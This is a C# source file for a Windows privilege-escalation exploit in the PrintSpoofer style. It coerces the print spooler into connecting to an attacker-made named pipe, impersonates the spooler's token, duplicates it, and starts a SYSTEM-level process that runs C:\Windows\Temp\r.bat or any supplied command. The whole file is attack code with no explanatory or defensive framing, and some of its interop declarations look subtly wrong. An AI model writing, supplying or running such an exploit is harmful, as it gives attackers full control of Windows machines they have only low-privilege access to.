using System; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Security.Principal; class PSX { [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] static extern IntPtr CreateNamedPipeW(string name, uint openMode, uint pipeMode, uint maxInst, uint outBuf, uint inBuf, uint timeout, IntPtr sa); [DllImport("kernel32.dll", SetLastError = true)] static extern bool ConnectNamedPipe(IntPtr h, IntPtr ov); [DllImport("advapi32.dll", SetLastError = true)] static extern bool ImpersonateNamedPipeClient(IntPtr h); [DllImport("advapi32.dll", SetLastError = true)] static extern bool OpenThreadToken(IntPtr t, uint access, bool openAsSelf, out IntPtr token); [DllImport("kernel32.dll")] static extern IntPtr GetCurrentThread(); [DllImport("advapi32.dll", SetLastError = true)] static extern bool DuplicateTokenEx(IntPtr existing, uint desired, IntPtr attrs, int impLevel, int tokenType, out IntPtr newToken); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr token, uint logonFlags, string app, string cmd, uint creationFlags, IntPtr env, string cwd, [In] ref STARTUPINFO si, out PROCESS_INFORMATION pi); [DllImport("userenv.dll", SetLastError = true)] static extern bool CreateEnvironmentBlock(out IntPtr env, IntPtr token, bool inherit); [DllImport("advapi32.dll", SetLastError = true)] static extern bool RevertToSelf(); [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] static extern uint GetSystemDirectoryW(StringBuilder sb, uint size); [DllImport("rpcrt4.dll", CharSet = CharSet.Unicode)] static extern int RpcStringBindingComposeW(string objUuid, string protSeq, string networkAddr, string endpoint, string options, out IntPtr stringBinding); [DllImport("rpcrt4.dll")] static extern int RpcBindingFromStringBindingW(IntPtr stringBinding, out IntPtr binding); [DllImport("rpcrt4.dll")] static extern int RpcStringFreeW(ref IntPtr stringBinding); [DllImport("spoolss.dll", CharSet = CharSet.Unicode)] static extern int RpcOpenPrinter(string printerName, out IntPtr hPrinter, string datatype, IntPtr devmode, int access); [DllImport("spoolss.dll", CharSet = CharSet.Unicode)] static extern int RpcRemoteFindFirstPrinterChangeNotificationEx(IntPtr hPrinter, int flags, int options, string localMachine, int printerLocal, IntPtr clientInfo); [DllImport("spoolss.dll")] static extern int RpcClosePrinter(ref IntPtr hPrinter); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags; public short wShowWindow, cbReserved2; public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess, hThread; public int dwProcessId, dwThreadId; } static volatile bool connected = false; static IntPtr hPipe = IntPtr.Zero; static void Trigger(string host, string pipeName) { try { IntPtr sb; int r = RpcStringBindingComposeW("12345678-1234-ABCD-EF00-0123456789AB", "ncacn_np", "\\\\" + host, "\\pipe\\spoolss", null, out sb); Console.WriteLine("[trig] compose=" + r); IntPtr binding; r = RpcBindingFromStringBindingW(sb, out binding); Console.WriteLine("[trig] bindfromstr=" + r); IntPtr hPrinter; r = RpcOpenPrinter("\\\\" + host, out hPrinter, null, IntPtr.Zero, 0); Console.WriteLine("[trig] openprinter=" + r); r = RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, 0x0100, 0, "\\\\" + host + "/pipe/" + pipeName, 0, IntPtr.Zero); Console.WriteLine("[trig] notify=" + r); RpcClosePrinter(ref hPrinter); } catch (Exception e) { Console.WriteLine("[trig] ex " + e.Message); } } static int Main(string[] args) { string host = Environment.MachineName; string pipeName = "ps" + Guid.NewGuid().ToString("N").Substring(0, 8); string fullPipe = "\\\\.\\pipe\\" + pipeName + "\\pipe\\spoolss"; Console.WriteLine("[*] host=" + host + " pipe=" + fullPipe); hPipe = CreateNamedPipeW(fullPipe, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero); if (hPipe == IntPtr.Zero || hPipe == (IntPtr)(-1)) { Console.WriteLine("[-] CreateNamedPipe failed: " + Marshal.GetLastWin32Error()); return 1; } Thread t = new Thread(delegate() { ConnectNamedPipe(hPipe, IntPtr.Zero); connected = true; }); t.IsBackground = true; t.Start(); Thread.Sleep(1000); Thread tt = new Thread(delegate() { Trigger(host, pipeName); }); tt.IsBackground = true; tt.Start(); int waited = 0; while (!connected && waited < 20000) { Thread.Sleep(200); waited += 200; } if (!connected) { Console.WriteLine("[-] no client connected (waited " + waited + "ms)"); return 2; } Console.WriteLine("[+] client connected after " + waited + "ms"); if (!ImpersonateNamedPipeClient(hPipe)) { Console.WriteLine("[-] ImpersonateNamedPipeClient failed: " + Marshal.GetLastWin32Error()); return 3; } IntPtr hTok; if (!OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hTok)) { Console.WriteLine("[-] OpenThreadToken failed: " + Marshal.GetLastWin32Error()); return 4; } IntPtr hDup; if (!DuplicateTokenEx(hTok, 0xF01FF, IntPtr.Zero, 2, 1, out hDup)) { Console.WriteLine("[-] DuplicateTokenEx failed: " + Marshal.GetLastWin32Error()); return 5; } try { Console.WriteLine("[+] impersonated: " + WindowsIdentity.GetCurrent().Name); } catch (Exception e) { Console.WriteLine("[+] impersonated (ident err) " + e.Message); } StringBuilder sysDir = new StringBuilder(260); GetSystemDirectoryW(sysDir, 260); IntPtr env = IntPtr.Zero; CreateEnvironmentBlock(out env, hDup, false); RevertToSelf(); string cmdline; if (args.Length > 0) cmdline = args[0]; else cmdline = "C:\\Windows\\System32\\cmd.exe /c C:\\Windows\\Temp\\r.bat"; STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "WinSta0\\Default"; PROCESS_INFORMATION pi; bool ok = CreateProcessWithTokenW(hDup, 1, null, cmdline, 0x400, env, sysDir.ToString(), ref si, out pi); if (!ok) Console.WriteLine("[-] CreateProcessWithTokenW failed: " + Marshal.GetLastWin32Error()); else Console.WriteLine("[+] SYSTEM process started pid=" + pi.dwProcessId + " cmd=" + cmdline); Thread.Sleep(3000); return ok ? 0 : 6; } }